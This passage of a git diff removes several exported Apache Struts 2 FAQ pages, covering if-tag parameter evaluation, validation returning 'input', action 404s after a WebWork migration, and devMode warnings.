-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=86810">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=86810">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=86810">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=86810">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>try either </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- &lt;s:if test="%{#parameters.search[0] == 'something'}"&gt;
-   ....
- &lt;/s:if&gt;
-</pre>
-</div></div>
-
-<p>or </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- &lt;s:if test="#parameters.search[0] == 'something'"&gt;
-   ....
- &lt;/s:if&gt;
-</pre>
-</div></div>
-
-<h3 id="whydoesnttheiftagevaluateparamsproperly-Whytousesearch[0]?">Why to use search [ 0 ]?</h3>
-<p>The reason is that #parameters would return a Map, the framework conveniently makes request parameters into a Map to make unit testing action easier and the framework also uses </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- request.getParameterMap();
-</pre>
-</div></div>
-<p>which returns a Map where the key is the parameter (String) while the value is an array of the parameter value (Array of String), hence the need to use [ 0 ].</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-doesnt-the-if-tag-evaluate-test.html b/content/docs/why-doesnt-the-if-tag-evaluate-test.html
deleted file mode 100644
index fffc533..0000000
--- a/content/docs/why-doesnt-the-if-tag-evaluate-test.html
+++ /dev/null
@@ -1,178 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why doesn't the if tag evaluate test="</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-doesnt-the-if-tag-evaluate-test.html">Why doesn't the if tag evaluate test="</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why doesn't the if tag evaluate test="</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27580">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27580">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27580">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27580">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27580">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27580">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>try either </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- &lt;s:if test="%{#parameters.search[0] == 'something'}"&gt;
-   ....
- &lt;/s:if&gt;
-</pre>
-</div></div>
-
-<p>or </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- &lt;s:if test="#parameters.search[0] == 'something'"&gt;
-   ....
- &lt;/s:if&gt;
-</pre>
-</div></div>
-
-<h3 id="Whydoesn'ttheiftagevaluatetest=&quot;-Whytousesearch[0]?">Why to use search [ 0 ]?</h3>
-<p>The reason is that #parameters would return a Map, the framework conveniently makes request parameters into a Map to make unit testing action easier and the framework also uses </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- request.getParameterMap();
-</pre>
-</div></div>
-<p>which returns a Map where the key is the parameter (String) while the value is an array of the parameter value (Array of String), hence the need to use [ 0 ].</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-is-my-action-returning-input-when-the-form-is-filled-out-correctly.html b/content/docs/why-is-my-action-returning-input-when-the-form-is-filled-out-correctly.html
deleted file mode 100644
index 2804337..0000000
--- a/content/docs/why-is-my-action-returning-input-when-the-form-is-filled-out-correctly.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why is my action returning "input" when the form is filled out correctly</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-is-my-action-returning-input-when-the-form-is-filled-out-correctly.html">Why is my action returning "input" when the form is filled out correctly</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why is my action returning "input" when the form is filled out correctly</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29117">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29117">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29117">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29117">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29117">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29117">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The token "input" is returned when validation fails, and the Action class is never invoked. If the validation messages are not displaying, the most likely cause is that a property is being validated that is not present on the page (so there is no where to display the message). </p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> If the validator is being attached to the Action class, note that a subclass will inherit the validations of its superclass.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Try submitting the form in <a shape="rect" href="debugging.html">debugging mode</a> to see if there are any orphan field validation errors.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Type conversion errors may also cause a return to "input".</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-is-my-action-unavailable.html b/content/docs/why-is-my-action-unavailable.html
deleted file mode 100644
index c6ed0e1..0000000
--- a/content/docs/why-is-my-action-unavailable.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why is my action unavailable</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-is-my-action-unavailable.html">Why is my action unavailable</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why is my action unavailable</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14149">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14149">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14149">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14149">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14149">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14149">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>After migrating to Struts 2 from WebWork 2, some Actions suddenly exposes "HTTP Status 404 ... The requested resource is not available."</p>
-
-<p>If the Actions utilize the "action!alias" sytax, add the line <code>struts.compatabilityMode.webwork=true</code> to the <code>struts.properties</code> file. </p>
-
-<p>The bang syntax is deprecated, so rework the actions before updating to the next Struts 2 release.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-is-the-application-logging-a-warning-that-the-compound-root-cannot-find-a-particular-object-with-a-particular-property.html b/content/docs/why-is-the-application-logging-a-warning-that-the-compound-root-cannot-find-a-particular-object-with-a-particular-property.html
deleted file mode 100644
index 7fc433f..0000000
--- a/content/docs/why-is-the-application-logging-a-warning-that-the-compound-root-cannot-find-a-particular-object-with-a-particular-property.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why is the application logging a warning that the Compound Root cannot find a particular Object with a particular property</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-is-the-application-logging-a-warning-that-the-compound-root-cannot-find-a-particular-object-with-a-particular-property.html">Why is the application logging a warning that the Compound Root cannot find a particular Object with a particular property</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why is the application logging a warning that the Compound Root cannot find a particular Object with a particular property</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13925">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13925">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13925">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13925">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13925">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13925">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Sometimes, there are elements used on an input form that the application does not need to capture. For example, buttons create input values, but you might be attaching Actions to the buttons, rather than utilizing the button press as input.</p>
-
-<p>When <code>devMode</code> is on, the framework reports when there is an attribute in the request that is not being havested by an Action property. (In case you just forgot to create the property.)</p>
-<ul><li>To eliminate the warning message, edit or create the <code>struts.properties</code> file and set <code>devMode</code> to false (off).</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-struts.devMode = false
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-isnt-our-prepare-interceptor-being-executed.html b/content/docs/why-isnt-our-prepare-interceptor-being-executed.html
deleted file mode 100644
index 38a67f5..0000000
--- a/content/docs/why-isnt-our-prepare-interceptor-being-executed.html
+++ /dev/null
@@ -1,166 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
